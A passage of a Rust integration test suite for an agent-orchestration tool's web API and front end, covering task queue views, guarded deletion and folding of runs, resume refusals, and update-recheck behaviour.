12124            Some("waiting on Task 1".to_owned()),
12125        );
12126        t.answers.push(crate::queue::AnsweredQuestion {
12127            question: "Which backend?".to_owned(),
12128            answer: "SQLite".to_owned(),
12129        });
12130        q.put(&mut t).expect("put t");
12131
12132        let res = fx.get("/api/queue").await;
12133        assert_eq!(res.status, 200);
12134        let list = res.json();
12135        let view = list
12136            .as_array()
12137            .expect("array")
12138            .iter()
12139            .find(|v| v["id"] == t.id)
12140            .expect("task in list");
12141        assert_eq!(view["status_str"], "blocked");
12142        assert_eq!(
12143            view["blocked_by"],
12144            serde_json::json!(["20260101-000000-dead"])
12145        );
12146        assert_eq!(view["block_reason"], "waiting on Task 1");
12147        assert_eq!(view["answers"][0]["question"], "Which backend?");
12148        assert_eq!(view["answers"][0]["answer"], "SQLite");
12149
12150        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
12151        // but never `answers` - that is a settled decision, not state
12152        // describing the current block, so it survives.
12153        let res = fx
12154            .post(&format!("/api/queue/{}/hold", t.short()), None)
12155            .await;
12156        assert_eq!(res.status, 200);
12157        let held = res.json();
12158        assert_eq!(held["status_str"], "held");
12159        assert_eq!(held["blocked_by"], serde_json::json!([]));
12160        assert!(held["block_reason"].is_null());
12161        assert_eq!(held["answers"][0]["answer"], "SQLite");
12162    }
12163
12164    #[tokio::test]
12165    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12166        let fx = Fixture::start().await;
12167        let q = fx.queue();
12168        let mk = |title: &str| {
12169            Task::new(
12170                title.to_owned(),
12171                "Instruction".to_owned(),
12172                PathBuf::from("/repo"),
12173                Source::Human,
12174            )
12175        };
12176        let mut root = mk("root");
12177        root.hold_manual(Some("waiting".to_owned()));
12178        q.put(&mut root).unwrap();
12179        let mut mid = mk("mid");
12180        mid.block(vec![root.id.clone()], None);
12181        q.put(&mut mid).unwrap();
12182        let mut leaf = mk("leaf");
12183        leaf.block(vec![mid.id.clone()], None);
12184        q.put(&mut leaf).unwrap();
12185
12186        let list = fx.get("/api/queue").await.json();
12187        let find = |id: &str| {
12188            list.as_array()
12189                .unwrap()
12190                .iter()
12191                .find(|v| v["id"] == id)
12192                .unwrap()
12193                .clone()
12194        };
12195        let leaf_view = find(&leaf.id);
12196        assert_eq!(
12197            leaf_view["waits_on"],
12198            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12199        );
12200        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12201        assert_eq!(
12202            find(&mid.id)["waits_on"],
12203            serde_json::json!([format!("{} (held)", root.short())])
12204        );
12205        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12206    }
12207
12208    #[tokio::test]
12209    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12210        let fx = Fixture::start().await;
12211        let q = fx.queue();
12212
12213        // 1. A queued task with runs attached can be deleted.
12214        let mut t1 = Task::new(
12215            "Task 1".to_owned(),
12216            "Instruction 1".to_owned(),
12217            PathBuf::from("/repo"),
12218            Source::Human,
12219        );
12220        let run_id = "20260901-000000-r111";
12221        t1.runs.push(run_id.to_owned());
12222        write_run(&fx.runs(), run_id, RunStatus::Merged);
12223        q.put(&mut t1).expect("put t1");
12224
12225        // Delete by short id
12226        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12227        assert_eq!(res.status, 204);
12228        assert!(res.body.is_empty(), "204 No Content has no body");
12229        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12230        assert!(
12231            fx.runs().join(run_id).exists(),
12232            "run directory must not be deleted when its task is deleted"
12233        );
12234
12235        // 2. A task a live daemon is running is refused with 409.
12236        let mut t2 = Task::new(
12237            "Task 2".to_owned(),
12238            "Instruction 2".to_owned(),
12239            PathBuf::from("/repo"),
12240            Source::Human,
12241        );
12242        t2.status = TaskStatus::Running;
12243        q.put(&mut t2).expect("put t2");
12244        let mut beat = crate::daemon::Status::new();
12245        beat.current = vec![crate::daemon::Current {
12246            task: t2.id.clone(),
12247            run: "20260901-000000-r222".to_owned(),
12248        }];
12249        beat.updated_at = jiff::Timestamp::now();
12250        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12251            .expect("publish a heartbeat");
12252        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12253        assert_eq!(res.status, 409);
12254        assert!(
12255            res.json()["error"]
12256                .as_str()
12257                .unwrap()
12258                .contains("live daemon")
12259        );
12260        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12261
12262        // 3. The same `running` status and an orphaned lock, with no daemon
12263        // behind either, is a leftover and deletable. Before this the phone
12264        // refused it for good: the status never changes on its own and
12265        // nothing drops a lock whose process is gone.
12266        // The daemon is killed: the file stays, the heartbeat stops.
12267        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12268        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12269            .expect("leave a stale heartbeat");
12270        let mut t3 = Task::new(
12271            "Task 3".to_owned(),
12272            "Instruction 3".to_owned(),
12273            PathBuf::from("/repo"),
12274            Source::Human,
12275        );
12276        t3.status = TaskStatus::Running;
12277        q.put(&mut t3).expect("put t3");
12278        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12279        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12280        assert_eq!(res.status, 204);
12281        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12282        assert!(
12283            q.claim(&t3.id).is_ok(),
12284            "the stale lock went with it, so the id is claimable again"
12285        );
12286
12287        // 4. Missing id returns 404
12288        let res = fx.delete("/api/queue/nonexistent").await;
12289        assert_eq!(res.status, 404);
12290    }
12291
12292    #[tokio::test]
12293    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12294        let fx = Fixture::start().await;
12295        let runs = fx.runs();
12296
12297        // 1. Finished and folded run can be deleted along with artifacts
12298        let run_id = "20260901-000000-fold";
12299        let mut state = RunState::new(
12300            PathBuf::from("/repo"),
12301            "main".to_owned(),
12302            "abc".to_owned(),
12303            "instruction".to_owned(),
12304            Config::default(),
12305        );
12306        state.id = run_id.to_owned();
12307        state.status = RunStatus::Merged;
12308        state.candidates.push(crate::run::Candidate {
12309            index: 0,
12310            label: 'A',
12311            agent: "a".to_owned(),
12312            branch: "b".to_owned(),
12313            worktree: PathBuf::from("/w"),
12314            summary: String::new(),
12315            stat: String::new(),
12316            files: 1,
12317            commits: 1,
12318            empty: false,
12319            failed: None,
12320            verified_noop: None,
12321            duration_ms: 0,
12322            folded: true,
12323        });
12324        let dir = runs.join(run_id);
12325        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12326        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12327            .expect("write artifact");
12328        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12329            .expect("write run.json");
12330
12331        // Delete by short id
12332        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12333        assert_eq!(res.status, 204);
12334        assert!(res.body.is_empty(), "204 has no body");
12335        assert!(!dir.exists(), "run directory and artifacts must be deleted");
12336
12337        // 2. A run a live daemon is working on is refused with 409. The
12338        // heartbeat is what makes it refusable: an unfinished run with no
12339        // daemon behind it is a leftover from a killed process, and case 1
12340        // above would otherwise be impossible to tell apart from this one.
12341        let run_running = "20260901-000000-rung";
12342        write_run(&runs, run_running, RunStatus::Prep);
12343        let mut beat = crate::daemon::Status::new();
12344        beat.current = vec![crate::daemon::Current {
12345            task: "20260901-000000-task".to_owned(),
12346            run: run_running.to_owned(),
12347        }];
12348        beat.updated_at = jiff::Timestamp::now();
12349        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12350            .expect("publish a heartbeat");
12351        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12352        assert_eq!(res.status, 409);
12353        assert!(
12354            res.json()["error"]
12355                .as_str()
12356                .unwrap()
12357                .contains("live daemon"),
12358            "the refusal must say who is holding it"
12359        );
12360        assert!(
12361            runs.join(run_running).exists(),
12362            "a run in flight keeps its directory"
12363        );
12364
12365        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
12366        let run_unfolded = "20260901-000000-unfd";
12367        let mut state2 = RunState::new(
12368            PathBuf::from("/repo"),
12369            "main".to_owned(),
12370            "abc".to_owned(),
12371            "instruction".to_owned(),
12372            Config::default(),
12373        );
12374        state2.id = run_unfolded.to_owned();
12375        state2.status = RunStatus::Ready;
12376        state2.candidates.push(crate::run::Candidate {
12377            index: 0,
12378            label: 'A',
12379            agent: "a".to_owned(),
12380            branch: "b".to_owned(),
12381            worktree: PathBuf::from("/w"),
12382            summary: String::new(),
12383            stat: String::new(),
12384            files: 1,
12385            commits: 1,
12386            empty: false,
12387            failed: None,
12388            verified_noop: None,
12389            duration_ms: 0,
12390            folded: false,
12391        });
12392        let dir2 = runs.join(run_unfolded);
12393        std::fs::create_dir_all(&dir2).expect("create dir2");
12394        std::fs::write(
12395            dir2.join("run.json"),
12396            serde_json::to_string(&state2).unwrap(),
12397        )
12398        .expect("write run.json");
12399
12400        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12401        assert_eq!(res.status, 409);
12402        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12403        assert!(dir2.exists(), "unfolded run directory is kept");
12404
12405        // 4. Missing id returns 404
12406        let res = fx.delete("/api/runs/nonexistent").await;
12407        assert_eq!(res.status, 404);
12408    }
12409
12410    /// The queue tiles on the Stats tab must render even on a home with no
12411    /// runs at all: queue state is not derived from run history, so hiding
12412    /// the whole dashboard body behind "no runs yet" would drop the one
12413    /// thing this tab promises unconditionally (queued/running/held/done).
12414    /// A DOM-level test would need a browser this suite does not have, so
12415    /// this pins the same invariant textually: `renderStatsQueue` is called
12416    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
12417    /// block that gates the run-derived panels.
12418    #[test]
12419    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12420        let start = APP_JS
12421            .find("function renderStats() {")
12422            .expect("renderStats");
12423        let end = start
12424            + APP_JS[start..]
12425                .find("function statsTile(")
12426                .expect("the next top-level function");
12427        let body = &APP_JS[start..end];
12428
12429        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12430        let gate_end = gate_start
12431            + body[gate_start..]
12432                .find("}\n  renderStatsQueue")
12433                .expect("the gate's own closing brace, right before the unconditional call");
12434        let gated = &body[gate_start..gate_end];
12435
12436        assert_eq!(
12437            body.matches("renderStatsQueue(").count(),
12438            1,
12439            "renderStats must call renderStatsQueue exactly once: {body}"
12440        );
12441        assert!(
12442            !gated.contains("renderStatsQueue"),
12443            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12444             run-derived panels on an empty run history - the queue panel has to render \
12445             regardless: {gated}"
12446        );
12447    }
12448
12449    #[test]
12450    fn web_ui_delete_contract_in_front_end() {
12451        // 1. API block has both delete endpoints
12452        assert!(APP_JS.contains("deleteRun:"));
12453        assert!(APP_JS.contains("deleteTask:"));
12454
12455        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
12456        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12457            ..APP_JS.find("function renderRuns").unwrap()];
12458        assert!(!run_cards_slice.to_lowercase().contains("delete"));
12459
12460        // 3. Run detail has delete entry and reasons
12461        assert!(APP_JS.contains("renderRunDelete"));
12462        assert!(APP_JS.contains("runDeleteReason"));
12463        assert!(APP_JS.contains("magi fold"));
12464        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12465
12466        // 4. Two-step delete arming and focus on Cancel
12467        assert!(APP_JS.contains("cancel.focus"));
12468        assert!(APP_JS.contains("armedRunDelete"));
12469        assert!(APP_JS.contains("renderTaskDeleteBox"));
12470        assert!(APP_JS.contains("armed${cap(key)}"));
12471
12472        // 5. Running task has disabled delete
12473        assert!(APP_JS.contains("disabled: status === \"running\""));
12474    }
12475
12476    /// Every element a run card's updater reaches for must be in the `refs`
12477    /// the builder handed it.
12478    ///
12479    /// `createRunCard` builds its elements, appends them to the card, and then
12480    /// lists them again in `row.refs`. That second list is the one the updater
12481    /// uses, and nothing connects the two - an element can be built, appended
12482    /// and rendered, and still be missing from `refs`. `superseded` was, for
12483    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
12484    /// exception took `syncList` with it, and the deck showed
12485    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
12486    /// line is computed before the cards, which is why the failure looked like
12487    /// a server that had lost its runs rather than a front end that had
12488    /// stopped rendering them.
12489    ///
12490    /// A `cargo test` cannot execute the front end, so this reads the two
12491    /// halves out of the source and compares them as sets. It is not a check
12492    /// on the wording of either list: adding an element, renaming one, or
12493    /// reordering them all keeps this passing, and only using one the builder
12494    /// never published fails it.
12495    #[test]
12496    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12497        let build = APP_JS
12498            .find("function createRunCard")
12499            .expect("createRunCard exists");
12500        let update = APP_JS
12501            .find("function updateRunCard")
12502            .expect("updateRunCard exists");
12503        let end = APP_JS
12504            .find("function renderRuns")
12505            .expect("renderRuns exists");
12506
12507        // The builder's published set: the object literal assigned to `refs`.
12508        let builder = &APP_JS[build..update];
12509        let open = builder.find("refs = {").expect("createRunCard sets refs");
12510        let literal = &builder[open + "refs = {".len()..];
12511        let close = literal.find('}').expect("the refs literal is closed");
12512        let published: HashSet<&str> = literal[..close]
12513            .split(',')
12514            // `name` and `name: value` both bind `name`.
12515            .filter_map(|entry| entry.split(':').next())
12516            .map(str::trim)
12517            .filter(|name| !name.is_empty())
12518            .collect();
12519        assert!(
12520            published.len() > 5,
12521            "the refs literal did not parse into names: {published:?}"
12522        );
12523
12524        // What the updaters reach for: every `r.<name>`, where `r` is the
12525        // `const r = row.refs` alias both functions open with.
12526        let mut used: Vec<&str> = Vec::new();
12527        let updaters = &APP_JS[update..end];
12528        for (at, _) in updaters.match_indices("r.") {
12529            // `r` must be the whole identifier, not the tail of another one
12530            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
12531            let before = updaters[..at].chars().next_back();
12532            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12533                continue;
12534            }
12535            let rest = &updaters[at + 2..];
12536            let len = rest
12537                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12538                .unwrap_or(rest.len());
12539            if len > 0 {
12540                used.push(&rest[..len]);
12541            }
12542        }
12543        assert!(
12544            used.len() > 5,
12545            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12546        );
12547
12548        let missing: Vec<&str> = used
12549            .iter()
12550            .copied()
12551            .filter(|name| !published.contains(name))
12552            .collect();
12553        assert!(
12554            missing.is_empty(),
12555            "a run card's updater reaches for {missing:?}, which `createRunCard` \
12556             never put in `refs` - every card will throw and the list will \
12557             render empty under a count line that says otherwise. Published: \
12558             {published:?}"
12559        );
12560    }
12561
12562    #[tokio::test]
12563    async fn folding_from_the_phone_reports_what_it_removed() {
12564        let fx = Fixture::start().await;
12565        let runs = fx.runs();
12566
12567        // A run with no candidates has nothing to fold, which is a 200 with an
12568        // honest count rather than an error: the operator asked for the trees
12569        // to be gone and they are.
12570        let id = "20260901-000000-fold";
12571        write_run(&runs, id, RunStatus::Stalled);
12572        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12573        assert_eq!(res.status, 200);
12574        assert_eq!(res.json()["removed_count"], 0);
12575        assert_eq!(res.json()["run"], id);
12576        assert!(
12577            runs.join(id).exists(),
12578            "a fold keeps the run's record; only the worktrees go"
12579        );
12580    }
12581
12582    #[tokio::test]
12583    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12584        let fx = Fixture::start().await;
12585        let runs = fx.runs();
12586        let wt = fx.home.path().join("wt").join("magi").join("dead");
12587        let id = "20260901-000000-dead";
12588        std::fs::create_dir_all(runs.join(id)).expect("run dir");
12589        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12590        std::fs::create_dir_all(&wt).expect("worktree dir");
12591
12592        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12593        assert_eq!(res.status, 200, "{}", res.body);
12594        assert!(
12595            res.json()["removed_count"].as_u64().unwrap() > 0,
12596            "the worktree this build could not read a state for still went"
12597        );
12598        assert!(
12599            !runs.join(id).exists(),
12600            "an unreadable run has no candidate list to fold selectively, so \
12601             the whole record goes - same as `magi fold` on the CLI"
12602        );
12603    }
12604
12605    #[tokio::test]
12606    async fn deleting_an_unreadable_run_removes_it_wholesale() {
12607        let fx = Fixture::start().await;
12608        let runs = fx.runs();
12609        let wt = fx.home.path().join("wt").join("magi").join("gone");
12610        let id = "20260901-000000-gone";
12611        std::fs::create_dir_all(runs.join(id)).expect("run dir");
12612        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12613        std::fs::create_dir_all(&wt).expect("worktree dir");
12614
12615        let res = fx.delete(&format!("/api/runs/{id}")).await;
12616        assert_eq!(res.status, 204, "{}", res.body);
12617        assert!(!runs.join(id).exists(), "the broken record is gone");
12618        assert!(!wt.exists(), "its worktree is gone too");
12619    }
12620
12621    #[tokio::test]
12622    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12623        let fx = Fixture::start().await;
12624        let runs = fx.runs();
12625        let id = "20260901-000000-live";
12626        write_run(&runs, id, RunStatus::Implementing);
12627
12628        let mut beat = crate::daemon::Status::new();
12629        beat.current = vec![crate::daemon::Current {
12630            task: "20260901-000000-task".to_owned(),
12631            run: id.to_owned(),
12632        }];
12633        beat.updated_at = jiff::Timestamp::now();
12634        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12635            .expect("publish a heartbeat");
12636
12637        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12638        assert_eq!(res.status, 409);
12639        assert!(
12640            res.json()["error"]
12641                .as_str()
12642                .unwrap()
12643                .contains("live daemon"),
12644            "folding under a running agent would pull its worktree away"
12645        );
12646    }
12647
12648    #[tokio::test]
12649    async fn fold_merged_requires_a_pr_url() {
12650        let fx = Fixture::start().await;
12651        let runs = fx.runs();
12652        let id = "20260901-000000-nourl";
12653        write_run(&runs, id, RunStatus::Blocked);
12654
12655        let res = fx
12656            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12657            .await;
12658        assert_eq!(res.status, 400, "{}", res.body);
12659
12660        let blank = fx
12661            .post(
12662                &format!("/api/runs/{id}/fold-merged"),
12663                Some(r#"{"pr_url":"   "}"#),
12664            )
12665            .await;
12666        assert_eq!(blank.status, 400, "{}", blank.body);
12667    }
12668
12669    #[tokio::test]
12670    async fn fold_merged_is_404_for_an_unknown_run() {
12671        let fx = Fixture::start().await;
12672        let res = fx
12673            .post(
12674                "/api/runs/nosuchrun/fold-merged",
12675                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12676            )
12677            .await;
12678        assert_eq!(res.status, 404, "{}", res.body);
12679    }
12680
12681    #[tokio::test]
12682    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12683        let fx = Fixture::start().await;
12684        let runs = fx.runs();
12685        let id = "20260901-000000-livemerge";
12686        write_run(&runs, id, RunStatus::Blocked);
12687
12688        let mut beat = crate::daemon::Status::new();
12689        beat.current = vec![crate::daemon::Current {
12690            task: "20260901-000000-task".to_owned(),
12691            run: id.to_owned(),
12692        }];
12693        beat.updated_at = jiff::Timestamp::now();
12694        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12695            .expect("publish a heartbeat");
12696
12697        let res = fx
12698            .post(
12699                &format!("/api/runs/{id}/fold-merged"),
12700                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12701            )
12702            .await;
12703        assert_eq!(res.status, 409, "{}", res.body);
12704        assert!(
12705            res.json()["error"]
12706                .as_str()
12707                .unwrap()
12708                .contains("live daemon"),
12709            "correcting a run's merge underneath a running agent would race \
12710             whatever it is doing to the same `status`/`merge` fields"
12711        );
12712    }
12713
12714    /// A pull request `gh` cannot even ask about (no such remote, no such
12715    /// repository) must never be recorded as a merge on a guess - the same
12716    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
12717    /// command line, reached here through the phone route instead.
12718    #[tokio::test]
12719    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12720        let fx = Fixture::start().await;
12721        let runs = fx.runs();
12722        let id = "20260901-000000-unconfirmed";
12723        write_run(&runs, id, RunStatus::Blocked);
12724
12725        let res = fx
12726            .post(
12727                &format!("/api/runs/{id}/fold-merged"),
12728                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12729            )
12730            .await;
12731        assert_eq!(res.status, 400, "{}", res.body);
12732        assert_eq!(
12733            read_run(&runs, id).unwrap().status,
12734            RunStatus::Blocked,
12735            "a pull request that could not be confirmed merged must leave \
12736             the run exactly where it was"
12737        );
12738    }
12739
12740    #[tokio::test]
12741    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12742        let fx = Fixture::start().await;
12743        let runs = fx.runs();
12744
12745        // Only a finished run and a failed one. An *interrupted* run - a
12746        // parked one, or one whose daemon was killed mid-node - is the case
12747        // resuming exists for: run 4043 sat at `reviewing` with the deck
12748        // saying it could not be resumed, which was the one state where
12749        // resuming was the only sensible answer.
12750        for (status, word) in [
12751            (RunStatus::Merged, "merged"),
12752            (RunStatus::Ready, "ready"),
12753            (RunStatus::Failed, "failed"),
12754        ] {
12755            let id = format!("20260901-000000-{}", &word[..4]);
12756            write_run(&runs, &id, status);
12757            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12758            assert_eq!(res.status, 409, "{word} must not be resumable");
12759            let err = res.json()["error"].as_str().unwrap().to_owned();
12760            assert!(err.contains(word), "the refusal names the status: {err}");
12761        }
12762
12763        // And an interrupted run is accepted: 202, with the resume running in
12764        // the background. `Runner::resume` fails immediately here - the
12765        // fixture's run points at a repository that does not exist - which is
12766        // the point: the handler must not wait for it to find out.
12767        let mid = "20260901-000000-midf";
12768        write_run(&runs, mid, RunStatus::Reviewing);
12769        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12770        assert_eq!(res.status, 202, "an interrupted run is resumable");
12771    }
12772
12773    #[tokio::test]
12774    async fn resume_is_refused_while_the_loop_is_running() {
12775        let fx = Fixture::start().await;
12776        let runs = fx.runs();
12777        let stalled = "20260901-000000-stal";
12778        write_run(&runs, stalled, RunStatus::Stalled);
12779
12780        // The loop is busy with a *different* run, and that is still a
12781        // refusal: a manual resume must never race whatever the loop itself
12782        // is already driving, whether that is one run or several.
12783        let mut beat = crate::daemon::Status::new();
12784        beat.current = vec![crate::daemon::Current {
12785            task: "20260901-000000-task".to_owned(),
12786            run: "20260901-000000-othr".to_owned(),
12787        }];
12788        beat.updated_at = jiff::Timestamp::now();
12789        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12790            .expect("publish a heartbeat");
12791
12792        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12793        assert_eq!(res.status, 409);
12794        let err = res.json()["error"].as_str().unwrap().to_owned();
12795        assert!(err.contains("othr"), "it names what the loop is on: {err}");
12796        assert!(err.contains("stop it first"), "{err}");
12797    }
12798
12799    #[test]
12800    fn a_run_cannot_be_resumed_twice_at_once() {
12801        let home = TempDir::new().expect("temp home");
12802        let ui = Ui::new(
12803            Queue::at(home.path().join("queue")),
12804            Questions::at(home.path().join("questions")),
12805            Talks::at(home.path().join("talks")),
12806            home.path().join("runs"),
12807            home.path().to_path_buf(),
12808            PathBuf::from("/repo"),
12809        )
12810        .with_worktrees_root(home.path().join("wt"));
12811        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12812        let again = ui.begin_resume("20260901-000000-once");
12813        assert!(again.is_err(), "a second tap must not start a second graph");
12814        drop(first);
12815        assert!(
12816            ui.begin_resume("20260901-000000-once").is_ok(),
12817            "and the claim is released when the attempt ends"
12818        );
12819    }
12820
12821    #[test]
12822    fn talk_thinking_tracks_only_its_held_turn_claim() {
12823        let home = TempDir::new().expect("temp home");
12824        let ui = Ui::new(
12825            Queue::at(home.path().join("queue")),
12826            Questions::at(home.path().join("questions")),
12827            Talks::at(home.path().join("talks")),
12828            home.path().join("runs"),
12829            home.path().to_path_buf(),
12830            PathBuf::from("/repo"),
12831        )
12832        .with_worktrees_root(home.path().join("wt"));
12833        let id = "20260901-000000-once";
12834
12835        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12836        let turn = ui.begin_talk_turn(id).expect("claim turn");
12837        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12838        assert!(
12839            !ui.is_thinking("20260901-000000-other"),
12840            "one talk's turn does not make another talk busy"
12841        );
12842        drop(turn);
12843        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12844    }
12845
12846    #[tokio::test]
12847    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12848        let fx = Fixture::start().await;
12849        // Somebody else's `magi serve` owns the queue. Replacing this binary
12850        // would leave that process running an old one against the same
12851        // claims, which is worse than refusing.
12852        let mut beat = crate::daemon::Status::new();
12853        beat.pid = 4321;
12854        beat.updated_at = jiff::Timestamp::now();
12855        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12856            .expect("publish a heartbeat");
12857
12858        let res = fx.post("/api/upgrade", None).await;
12859        assert_eq!(res.status, 409);
12860        let err = res.json()["error"].as_str().unwrap().to_owned();
12861        assert!(err.contains("4321"), "the refusal names the owner: {err}");
12862        assert!(err.contains("old one against the same queue"), "{err}");
12863    }
12864
12865    /// [`should_spawn_recheck`] must refuse for the same two reasons
12866    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
12867    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
12868    /// Purely a predicate over config and the environment - no network, no
12869    /// disk, no runtime - so unlike the fixture-based tests around it this
12870    /// one needs neither.
12871    #[test]
12872    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12873        assert!(!should_spawn_recheck(&crate::config::Update {
12874            mode: UpdateMode::Off,
12875            interval: None,
12876        }));
12877
12878        // SAFETY: single-threaded as far as this variable goes, the same
12879        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
12880        unsafe {
12881            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12882        }
12883        let killed = should_spawn_recheck(&crate::config::Update {
12884            mode: UpdateMode::Notify,
12885            interval: None,
12886        });
12887        unsafe {
12888            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12889        }
12890        assert!(
12891            !killed,
12892            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12893             one-time startup check"
12894        );
12895
12896        assert!(should_spawn_recheck(&crate::config::Update {
12897            mode: UpdateMode::Notify,
12898            interval: None,
12899        }));
12900    }
12901
12902    /// [`recheck_poll_period`] must track a configured `[update] interval`
12903    /// shorter than its own default ceiling - a fixed sleep here would leave
12904    /// an operator's short interval waiting on the next wake-up instead of on
12905    /// `should_check`, which is the same bug this whole task exists to fix,
12906    /// just one level down.
12907    #[test]
12908    fn recheck_poll_period_tracks_a_short_configured_interval() {
12909        let short = crate::config::Update {
12910            mode: UpdateMode::Notify,
12911            interval: Some("1m".to_owned()),
12912        };
12913        let period = recheck_poll_period(&short);
12914        assert!(
12915            period <= Duration::from_secs(30),
12916            "a one-minute interval must wake the task far sooner than the \
12917             default ceiling, or the deck would not notice within the \
12918             interval the operator configured: got {period:?}"
12919        );
12920
12921        let default = crate::config::Update {
12922            mode: UpdateMode::Notify,
12923            interval: None,
12924        };
12925        assert_eq!(
12926            recheck_poll_period(&default),
12927            UPDATE_RECHECK_POLL_MAX,
12928            "the default day-long interval should poll at the (capped) \
12929             ceiling rather than needlessly often"
12930        );
12931    }
12932
12933    /// [`update_recheck_due`] must not repeat a check made moments ago, the
12934    /// same throttle `updater::Checker::should_check` already gives the
12935    /// CLI's notify mode. Built over an explicit state file via
12936    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
12937    /// write the operator's real `last_update_check.json` - and therefore
12938    /// cannot flake on whatever that file happens to say on the machine
12939    /// running the test.
12940    #[test]
12941    fn recheck_skips_the_network_before_the_interval_elapses() {
12942        let dir = TempDir::new().expect("temp dir");
12943        let path = dir.path().join("state.json");
12944        let state = kaishin::UpdateCheckState {
12945            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12946            last_known_latest: None,
12947            last_known_url: None,
12948        };
12949        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12950
12951        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12952        assert!(
12953            !update_recheck_due(&checker, None),
12954            "a check made moments ago must not be repeated before the \
12955             configured interval elapses"
12956        );
12957    }
12958
12959    /// An upgrade this deck already started must not be raced by a recheck
12960    /// that discovers a newer release mid-install - regardless of what
12961    /// `should_check` says, which is why the state file here is missing
12962    /// entirely: read alone, that alone would answer "never checked, go
12963    /// ahead".
12964    #[test]
12965    fn recheck_defers_to_an_upgrade_already_in_flight() {
12966        let dir = TempDir::new().expect("temp dir");
12967        let path = dir.path().join("state.json");
12968        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12969        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12970
12971        assert!(
12972            !update_recheck_due(&checker, Some(&progress)),
12973            "a recheck must not run while an upgrade this deck started is \
12974             still moving"
12975        );
12976    }
12977
12978    #[tokio::test]
12979    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12980        // The same env var the background check honours (`disabled_by_env`)
12981        // must also stop a button press before it ever calls
